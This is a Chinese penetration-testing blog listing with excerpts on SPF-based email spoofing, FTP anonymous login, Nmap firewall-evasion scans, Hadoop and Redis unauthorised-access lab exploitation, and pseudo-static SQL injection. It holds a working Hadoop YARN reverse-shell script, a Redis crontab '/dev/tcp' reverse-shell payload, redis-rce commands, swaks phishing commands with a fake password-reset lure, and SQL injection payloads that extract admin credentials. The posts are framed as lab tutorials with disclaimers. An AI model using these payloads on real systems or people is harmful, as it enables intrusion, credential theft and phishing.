首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,866 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
67
篇与
的结果
2025-05-18
SPF机制进行邮件钓鱼
你还敢随便点陌生邮件链接吗,浅谈黑客是如何利用SPF机制进行邮件钓鱼的SPF介绍spf是一种用于防止电子邮件伪造得技术,旨在确保只有授权的发送者才能适用特定的域名发送电子邮件,它也是邮件系统的一种安全机制,它的内容被写入DNS的TXT类型记录中。通过SPF记录,域名所有者可以指定哪些IP地址或服务器被授权代表该域名发送电子邮件。 防止伪造邮件地址:SPF通过验证发件人的IP地址是否被包含在SPF记录中,来防止他人伪造你的邮件地址发送垃圾邮件或进行网络钓鱼攻击。 提升邮件可信度:对于通过了SPF验证的邮件,接收邮件的服务器会将其视为更可信的邮件,从而提高邮件的送达率和打开率。 减少垃圾邮件:通过SPF验证,可以有效地过滤掉大量伪造邮件地址的垃圾邮件,减轻邮件服务器的负担。 判断是否使用了spfWindows: 输入nslookup -type=txt 域名命令,其中“域名”是你想要查询SPF记录的域名。例如,如果你的邮件地址是example@test.com,那么你应该查询的域名就是test.com。 执行命令后,命令提示符会返回该域名的TXT记录,其中就包含了SPF记录(如果有的话)。SPF记录通常以v=spf1开头。 Linux:dig -t txt 域名在线spf检查,工具示例https://powerdmarc.com/zh/spf-record-lookup/机制(Mechanisms)可以看到之前的图片的v=xxxx include:xxx ,这些都是SPF记录通过一系列机制来指定哪些邮件服务器或IP地址被授权发送邮件的机制。以下是一些常用的机制: include 用途:允许一个SPF记录包含(引用)另一个域名的SPF记录。 示例:include:spf.example.com a 用途:根据域名的A记录(IPv4地址)来验证发件人IP地址。 示例:a 或 a:example.com mx 用途:根据域名的MX记录来验证发件人IP地址。MX记录通常指向接收邮件的服务器。 示例:mx 或 mx:example.com ip4 和ip6 用途:直接指定IPv4或IPv6地址段,用于验证发件人IP地址。 示例:ip4:192.0.2.0/24 或 ip6:2001:db8::/32 ptr 用途:较少使用,因为它依赖于反向DNS查找,这可能不够可靠。 exist 用途:验证指定的域名是否存在。这通常与其他机制结合使用。 修饰符(Modifiers)SPF记录还可以包含修饰符,用于改变SPF检查的结果处理方式: +(pass):表示SPF检查通过。 -(fail):表示SPF检查失败。 ~(softfail):表示“软失败”,即SPF检查没有明确通过,但也没有完全失败。 ?(neutral):表示SPF记录对该IP地址没有明确的允许或拒绝立场。 终止符(all) 用途:all 机制用于终止SPF记录,并指定默认的处理方式。 示例:-all 表示如果前面的机制都没有匹配,则视为SPF检查失败;~all 表示软失败;?all 表示中立。 示例:v=spf1 mx a:mail.example.com ip4:192.0.2.1/32 include:spf.anotherservice.com ~allSPF记录指定了多种机制和修饰符,包括使用MX记录、指定A记录、直接指定IPv4地址段、包含另一个域名的SPF记录,并以软失败作为默认处理方式。邮件钓鱼演练无SPF攻击利用方式这里推荐一个没有spf的邮箱网站便于演练https://www.linshi-email.com/nslookup -type=txt iubridge.com,对邮件系统的站点此时也没有使用nslookup -type=txt linshi-email.com对站点进行检测,也没有spf验证使用kali的swaks进行伪造发送邮件 ,由于该临时邮箱没有使用spf,所以可以直接使用该邮箱发送邮件命令举例:swaks --to 10xxxxxxx9@qq.com(需要钓鱼的邮箱) --from wangdun@iubridge.com(临时邮件) --ehlo qq.com --body '由于系统故障,导致密 码丢失,请 点击如下链接登录平台修改密码。https://xiaoyus.cc' --header "Subject: 系统故障"其中--to //收件人邮箱地址--from test@qq.com //发件人邮箱;--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证,比如目标是qq邮箱,那么就是qq.com,目标是163那么就是163.com--body "http://www.baidu.com" //引号中的内容即为邮件正文;--header "Subject:hello" //邮件头信息,subject为邮件标题--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送发送成功qq邮箱会提醒这个身份不安全(也可以绕过),此时你点击了这个链接,你就危险了163网易邮箱大师没有安全提示,各个厂商算法不同吧Tips:添加附件--attach XX.docx有SPF(绕过)案例,使用xxx2333@qq.com (临时qq邮箱)向对目标xxxxxx9999@163.com进行钓鱼swaks --to xxxxxx9999@163.com --from xxx2333@qq.com --ehlo qq.com --body '由于系统故障,导致密 码丢失,请点击如下链接登录平台修改密码。https://xiaoyus.cc' --header "Subject: 系统故障"--au : 使用这个参数指定你发送邮件的用户名(一般就是发送者的邮箱账号)--ap : 你的授权码此时你就需要把你的钓鱼邮箱开启POP3/SMTP服务,如下图注意开启这些服务之后会出现一个授权码,用到-ap参数,此时就可以进行发送了进行测试,payload如下:swaks -from xxxxxxx@163.com --body 'this is a hacker email!' --to xxxxxx@qq.com --server smtp.163.com -p 25 -ap 你的密码/授权码 -au yxy350488@163.com发送成功,查看该邮件可见如果你泄露了自己的SMTP授权码,那么黑客就可以用这个授权码模拟你的qq/163/腾讯邮箱,这些有spf的官方邮箱对你进行邮件钓鱼,如果你点了这个链接,那么你就危险了下面是常见的邮件服务器 发信邮箱 服务器地址 qq / foxmail smtp.qq.com:465 网易 POP3服务器: pop.126.comSMTP服务器: smtp.126.com:465IMAP服务器: imap.126.com 新浪 pop.sina.comsmtp.sina.comimap.sina.com 电信189 smtp.189.cn:465 电信21cn smtp.21cn.com:465 企业应该如何防护?除了使用SPF等技术来防止伪造邮件外,还可以采取以下措施来防御钓鱼邮件: 用户教育:教育员工识别钓鱼邮件的特征,如拼写错误、紧急请求、来自未知发件人的邮件等。 邮件网关安全:使用先进的邮件网关安全解决方案来过滤垃圾邮件和钓鱼邮件。 多因素身份验证:在关键账户上启用多因素身份验证,即使攻击者获得了用户的密码,他们仍然需要第二个验证因素才能访问账户。 安全软件:在终端设备上安装反病毒和反间谍软件,以防止恶意软件通过钓鱼邮件传播。 个人该如何防护?个人网络安全防护需提升安全意识,采用强密码并定期更换,保持系统及软件更新,警惕电子邮件风险,利用VPN保护公共网络下的数据传输,确保移动设备安全,定期备份并加密重要数据,同时重视物理安全,锁好设备并锁屏以防未授权访问。免责声明:本文所提供的信息、技术示例、操作指导及任何相关内容均旨在教育和分享目的,并不构成专业法律、技术或安全建议。本教程仅供钓鱼演练,请误对真实邮箱进行钓鱼,所造成的任何后果和法律责任,自行承担,与作者无关网安学习不迷路,人海茫茫来相见
2025年05月18日
1,198 阅读
0 评论
0 点赞
2025-05-18
ftp匿名登录
FTP协议-匿名用户登录前言日常大家可能接触web漏洞比较多而对其他端口及协议不那么了解,其实其他协议漏洞在渗透中也同样重要只是平时可能接触得不多。本文将介绍FTP协议、FTP匿名用户登录及其具体流程分析和自动化利用demo。FTP简介FTP是File Transfer Protocol(文件传输协议)的简称,用于internet上的控制文件的双向传输。很多人以为FTP是一个服务,实际上FTP 是一个协议而不是一个服务,应用到FTP协议的服务有很多,常用的就是vsFTPd。FTP有三种用户模式: 匿名用户模式: 允许任何人无需提供用户名和密码即可登录 FTP 服务器。 通常对访问权限有严格限制,只能访问特定的公共目录,并且可能无法进行上传、删除等操作。 本地用户模式: 使用服务器操作系统中的本地用户账号和密码进行登录。 登录后,用户的权限与在本地操作系统中的权限相同。 比如,服务器上有个用户名为“user1”,其在操作系统中具有特定的文件和目录权限,那么在通过 FTP 以“user1”登录时,将拥有相同的权限。 虚拟用户模式: 这并非真正的操作系统用户,而是 FTP 服务器自定义的用户。 具有特定的权限配置,可根据需求灵活设置权限,实现更精细的访问控制。 常用于需要为 FTP 服务创建特殊权限用户,而又不想直接使用本地系统用户的情况。 FTP协议占用情况:21端口:命令控制,用于接收客户端执行的FTP命令。20端口:数据传输,用于上传、下载文件数据。、FTP服务搭建-vsftpdvsftpd默认以匿名用户访问,不修改配置文件的话本身就存在匿名用户登录漏洞。vsftpd安装yum -y install vsftpd服务启动systemctl vsftpd start防火墙规则放行firewall-cmd --zone=public --add-service=ftp --permanent firewall-cmd --zone=public --add-port=21/tcp --permanent复现分析进行连接ftp 192.168.174.128输入用户名 anonymous和ftp都行经过测试发现密码置为空或者是随意输入都可成功登录抓包分析首先进行TCP三次握手建立连接建立连接后服务端向客户端发送包,表示服务已为新连接的用户就绪以及一些服务信息客户端发送包表示表示服务器需要切换到UTF8字符集进行工作服务端再向客户端回包表示表示命令执行成功且已在工作再UTF8模式下接下来就是整个登录的流程,包括指定用户、输入密码和登录成功指定登录用户提示输入密码输入密码提示登录成功脚本测试可以使用python的ftplib库模拟FTP协议登陆的行为来进行自动化测试简单demo# -*- coding:utf-8 -*- """ @Created on : 2024/8/1 16:28 @Auther: c @Des: """ import ftplib from loguru import logger def anonymous_login(ip): try: ftp = ftplib.FTP(ip) logger.info("尝试匿名用户登录" + ip) ftp.login() except ftplib.all_errors as e: logger.info(f"匿名用户利用失败: {e}") else: logger.info("存在匿名用户" + ip) if __name__ == '__main__': anonymous_login('192.168.174.128')我们可以具体跟进看到login函数默认的用户为anonymous密码为anonymous@确实是登录成功了修复措施vsftpd下禁用匿名用户登录需修改配置文件/etc/vsftpd/vsftpd.conf,将anonymous_enable=YES修改为anonymous_enable=NO,再重新启动服务。再次用脚本测试可以看到登陆失败在wireshark中同样也是总结针对端口协议自动化探测及利用的脚本编写在此只做了简单demo示例。如果想更进一步,可以对端口进行遍历或指定探测,与特定服务返回数据包中固定字段进行匹配识别出协议再打对应协议漏洞poc。
2025年05月18日
1,038 阅读
0 评论
0 点赞
2025-05-18
内网隐蔽扫描,Nmap高级用法
前言Nmap(Network Mapper)是一款开源免费的网络发现和安全审计工具,主要用于扫描目标主机的开放端口、操作系统类型、启用的服务等信息。以下是Nmap的一些常见使用介绍Nmap的常见使用介绍主机发现:Nmap可以通过发送不同类型的探测包(如ICMP echo请求、TCP SYN包等)来检测目标主机是否在线。常用命令如-sn(Ping扫描,只进行主机发现,不进行端口扫描)和-PE/PP/PM(使用ICMP echo、timestamp、netmask请求包发现主机)。端口扫描:Nmap支持多种端口扫描技术,包括TCP SYN扫描(-sS)、TCP connect扫描(-sT)、UDP扫描(-sU)等。用户可以根据需要选择适当的扫描方式,以探测目标主机上开放的端口。版本探测:Nmap能够探测目标主机上运行的服务及其版本信息。通过发送特定的探测包并分析响应,Nmap可以识别出服务的类型和版本。使用-sV选项可以启用版本探测功能。操作系统探测:Nmap还能够尝试识别目标主机的操作系统类型。通过收集目标主机的响应数据包中的指纹信息,并与已知的操作系统指纹库进行比对,Nmap可以推断出目标主机的操作系统。使用-O选项可以启用操作系统探测功能。NSE脚本引擎:Nmap的强大之处在于其内置的NSE(Nmap Scripting Engine)脚本引擎。用户可以通过编写或运行NSE脚本来扩展Nmap的功能,实现更复杂的网络探测和安全审计任务。结果输出:Nmap支持将扫描结果输出到不同的格式,包括文本、XML、Grepable等。用户可以根据需要使用相应的输出选项(如-oN、-oX等)来保存扫描结果。使用教程一、基本教程(附图文)1、指定端口扫描主机的开放端口,在nmap后面直接跟主机IP(默认扫描1000个端口)扫描指定端口,使用 -p 参数,可以一次扫描单个端口、多个端口、或扫描一个范围的端口nmap 192.168.31.180 -p 80 nmap 192.168.31.180 -p 1-80 nmap 192.168.31.180 -p 80,3389,22,21 nmap 192.168.31.180 -p 1-65535 nmap 192.168.31.180 -p- # -p- 等价于 -p 1-655352、主机探测扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。本质上是Ping扫描,能Ping通有回包,就判定主机在线。nmap -sP 192.168.209.0/243、服务识别扫描端口时,默认显示端口对应的服务,但不显示服务版本。想要识别具体的「服务版本」,可以使用 -sV 参数。nmap 192.168.209.1 -p 80-1000 -sV4、系统识别想要识别「操作系统版本」,可以使用 -O 参数。nmap 192.168.209.1 -OTips:Nmap扫描出的系统版本并不是完全正确的,仅供参考。当识别不出具体版本时,Nmap会以概率的形式列举出可能的操作系统,如上图所示。5、导出扫描结果Nmap的扫描结果可以保存到文件中,比如文本格式、XML格式。1)将扫描结果导出为「文本格式」,结果原样保存。nmap 192.168.209.1 -p 80-1000 -oN result.txt2)将扫描结果导出为「xml格式」,结果的保存格式会发生变化。nmap 192.168.209.1 -p 80-1000 -oX result.xml二、高级用法扫描绕过安全设备欺骗发送参杂着假ip的数据包检测nmap -D 111.111.111.111 192.168.209.11、碎片扫描通过将数据包分割成更小的部分发送,使得防火墙更难识别这些数据包属于一个扫描流量。nmap -f <目标IP地址> # 使用随机偏移量的碎片扫描 nmap -mtu 8 <目标IP地址> # 指定MTU大小为8的碎片扫描2、诱饵扫描在扫描数据包中添加多个诱饵IP地址,使目标防火墙难以判断真正的扫描源,从而增加扫描的隐蔽性。nmap -D RND:10 <目标IP地址> # 随机使用10个诱饵IP地址 nmap -D decoy1,decoy2,decoy3 <目标IP地址> # 指定具体的诱饵IP地址3、空闲扫描利用一台空闲主机(zombie host)作为跳板,通过向空闲主机发送经过特殊构造的数据包,间接地探测目标主机的端口状态,而无需直接向目标主机发送数据包。nmap -P0 -sI zombie <目标IP地址> # 使用名为zombie的空闲主机进行扫描注意:这里的“zombie”应替换为实际的空闲主机地址(简称僵尸机)。4、随机数据长度在发送的数据包中填充随机长度的数据,以绕过一些基于数据包长度过滤的防火墙规则。nmap --data-length 25 <目标IP地址> # 在每个数据包中填充25字节的随机数据5、欺骗扫描通过伪造源IP地址或MAC地址,使防火墙难以追踪真实的扫描源。nmap --sT -PN --spoof-mac aa:bb:cc:dd:ee:ff <目标IP地址> # 伪造源MAC地址进行TCP连接扫描 nmap --badsum <目标IP地址> # 发送带有错误校验和的数据包,可能绕过某些简单的防火墙规则 nmap -cloak-source <spoofed_ip1>,<spoofed_ip2> <target_ip> # 伪造ip地址进行扫描6、SYN扫描虽然SYN扫描本身并不直接绕过防火墙,但它是一种非常隐蔽的扫描方式,因为它只发送SYN包而不完成整个TCP握手过程,从而减少了被防火墙检测到的可能性。nmap -sS <目标IP地址> # 使用SYN扫描方式7、使用特定端口或绕过常用端口一些防火墙规则基于端口过滤,可以尝试使用特定的源端口来绕过。例如,很多防火墙允许HTTP端口(80)和HTTPS端口(443)通过。nmap --source-port 80 <目标IP地址> # 使用HTTP端口作为源端口进行扫描8、ARP Ping扫描(-PR)nmap -sn -PR <target_network> # 或者 nmap -PR <target_network>Tips:ARP 扫描仅适用于局域网环境,因为它依赖于 ARP 协议,该协议用于在局域网内解析 IP 地址到 MAC 地址。ARP 扫描可能无法发现配置了 ARP 过滤或 ARP 欺骗防护措施的主机。总结Nmap作为一款开源免费的网络发现和安全审计工具,功能强大且多样。它不仅能够进行主机发现和端口扫描,识别目标主机上的服务及其版本信息,还能尝试探测操作系统的类型。通过内置的NSE脚本引擎,Nmap的功能得到了进一步扩展,可以实现更复杂的网络探测任务。此外,Nmap支持将扫描结果输出到不同格式的文件中,便于用户保存和分析。高级用法中,Nmap提供了多种扫描策略,如碎片扫描、诱饵扫描和空闲扫描等,以帮助用户绕过安全设备的检测,增加扫描的隐蔽性和灵活性。自学网络安全,互相交流的同时还能交朋友,和博主一起来交流学习吧往期推荐别他妈扫端口了!老子在404页面养了个XSS丧尸军团护网三天裤衩漏?当代网安打工人掀桌暴走史当面试官逼问「如何绕过WAF」时,老子反手在会议室种了个0day还在SQL注入里当脚本小子?破解特斯拉的男人配叫黑客!【面试现场】菜鸟一句话干翻十年老渗透!神器分享 红队快速打点工具-DarKnuclei雷池+frp内网穿透,搭建企业级内网防护,无需花高额费用买服务器,教科书级别教学红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
2025年05月18日
1,954 阅读
0 评论
0 点赞
2025-05-18
Hadoop & Redis未授权访问漏洞,靶场实战——Vulfocus
一、介绍未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的,但无论其意图如何,未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常,甚至更严重的安全事件。未授权访问的常见攻击手段包括但不限于:利用已知的系统漏洞或弱点。通过猜测、破解或窃取密码等认证信息。使用恶意软件,如病毒、木马等,来绕过安全机制。社交工程,如诱骗用户泄露敏感信息。二、靶场介绍--VulfocusVulfocus是一个便捷的漏洞集成平台,用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性,适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像,支持可视化配置,是安全人员的理想工具。在线位置:https://vulfocus.cn/#/dashboard离线版本:https://github.com/fofapro/vulfocus (即使没有网络也可以在本地进行渗透测试)Tips:Docker 部署过程需要科x上网,本地使用不需要,要么使用国外服务器,使用linux部署靶场我没有找到linux版本的科x上网工具,大多数科x上网工具都是windows的,所以使用windows的版本Docker(Docker desktop)来部署,使用即可这个坑踩了一天。。。三、漏洞复现1、HadoopHadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。它起源于Lucene框架,受Google大数据论文启发,发展出HDFS、MapReduce和Hbase等核心组件。2005年,Hadoop作为Lucene子项目Nutch的一部分加入Apache,2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象,它的诞生标志着云计算时代的到来。Hadoop的主要用于:分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。Hadoop YARN的ResouRCEManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。该漏洞涉及版本:hadoop 3.3.0以下搜索hadoop,启动环境即可访问靶场给你的第一个ip地址,就可以进入hadoop网页界面查看版本,2.8.1,存在未授权访问漏洞使用python脚本进行shell反弹exp脚本参考:https://www.cnblogs.com/cute-puli/p/14944637.html#!/usr/bin/env python import requests target = 'http://123.58.224.8:32220/' 目标网址 lhost = '用来反弹的ip,公网能访问的ip' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)使用终端或者其他shell工具连接你的公网服务器,我的是centos系统,终端连接ssh协议ssh root@192.168.128.128连接之后下载netcat瑞士军刀命令yum install -y nc,启动监听nc -lvvp 4443注意,启动监听之前需要放行你监听的防火墙端口,否则之后执行py脚本会导致没有任何反应,查看你的端口放行情况iptables -L -n -v -L 表示列出所有规则 -n 表示以数字形式显示地址和端口号 -v 表示显示详细信息新建一个终端执行你的脚本即可python .hadoop-payload.py反弹成功再根据题目提示,找到flag提交即可2、RedisCNVD-2019-21763是关于Redis数据库的一个远程命令执行漏洞,其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用,它的默认端口为6379,漏洞等级:高危。端口探测:由于我启动的vulfocus靶场redis端口为64239,所以nmap扫描命令如下 nmap -v -Pn -p 64239 -sV 123.58.224.8 发现存在64239 redis服务默认端口使用redis-cli测试靶机的redis是否支持远程连接,经过测试支持redis-cli -h 123.58.224.8 -p 64239然后并且追加如下内容set xxx "nn 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1nn" config set dir /var/ config set dbfilename root save知识扩展:在面对大量读写数据时,单个Redis实例可能会承受巨大压力。为了解决这个问题,Redis引入了主从模式。在此模式下,一个Redis实例作为主机,负责处理所有的写操作,而其他实例作为从机,与主机保持数据同步,并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载,是通过增加空间使用来换取系统处理效率的一种策略。进一步地,Redis 4.x版本后,通过新增的模块功能,开发者可以使用C语言编写并编译成.so文件,从而在Redis中实现自定义的新命令,进一步扩展了Redis的功能和应用场景。——主从复制RCE发现保存的时候怎么也保存不了,又花了半小时,找到了这个方法--手动编译 so 扩展文件,忍不住这回当了脚本小子,执行如下命令git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/这是我的目录效果继续git clone https://github.com/Ridter/redis-rce.git cd redis-RCE/ cd ../ # 将module.so复制一份到当前目录下的redis-RCE cp module.so ./redis-RCE # 使用pip安装依赖 pip install -r requirements.txt执行攻击之前,需要放行21000端口python redis-RCE.py -r 123.58.236.76(靶机) -p redis端口 -L vps的IP地址 -f module.so中途超时了一下所以我的靶场redis端口变成了 11778redis-cnvd_2015_07557做法同理,更改靶场ip和端口即可原文链接:https://mp.weixin.qq.com/s/4gHAAg_c66Y0zgq8id_sNA
2025年05月18日
469 阅读
0 评论
0 点赞
2025-05-18
伪静态注入总结
伪静态注入的总结伪静态页面渗透在日常的测试中,经常会遇到静态页面,尤其是政府类的站点(前提经过授权),此时就会非常的棘手,在下多试验后,发现以下思路或可以帮助我们跨越这个障碍。伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能判断方法在浏览器里控制台(console),输入代码或粘贴js代码alert(document.lastModified); 回车执行,会弹出一个弹窗。重新刷新网页,再用相同的方法在控制台里输入查询代码,再查看文件的最后修改时间,如果发现时间不同则可以判断它是伪静态。如果是伪静态页面,可以尝试将其变成动态页面。伪静态的话只是由动态转成了静态,从地址上你是可以看到转递参数的,比如phpweb,它的链接是这样的:news/?123.html,这个你可以理解成news.php?id=123。所以你可以news/?123*.html这样提交。或者可以进行伪静态中转。(伪静态中转注入总结:博客园地址)入侵的大概思维方式对搜索框进行测试(注入测试) 对登录处进行测试(万能密码、注入) 对站点进行目录扫描(发现其他突破口) 从C段下手一:中转注入法1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了http://www.xxx.com/news.php/id/1.html2.测试步骤:中转注入的php代码:inject.php<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?> 3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1通过sqlmap或者havj可以跑注入漏洞。附录ASP中转代码:<strong><font style="font-size: 12pt"><code id="code1"><% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) &HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %></code></font></strong>二、手工注入法1.http://www.xxx.com/play/Diablo.htmlhttp://www.xxx.com/down/html/?772.html2.测试注入:http://www.xxx.com/down/html/?772′.htmlhttp://www.xxx.com /play/Diablo'.htmlhttp://www.xxx.com/play/Diablo'/**/and /*/1='1 /.htmlhttp://www.xxx.com/play/Diablo' //and //1='2 /*.htmlhttp://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错3.看页面是否存在差异,相同则不存在,不同存在注入。4.联合查询:http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 1='1.htmlhttp://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html三、手工注入法(二)http://www.xxx.net/news/html/?410.htmlhttp://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html注:伪静态的注入和URL的普通GET注入不太相同 。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。三、SQLmap方法在sqlmap中伪静态哪儿存在注入点就加*http://www.cunlide.com/id1/1/id2/2 python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″http://www.xxx.com/news/class/?103.htmpython sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”四、python脚本方法代码一:<code id="code3">from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()</code>转载:https://www.cnblogs.com/jsq16/p/5942003.htmlhttps://blog.csdn.net/qq_41545233/article/details/106713530
2025年05月18日
405 阅读
0 评论
0 点赞
1
...
11
12
13
14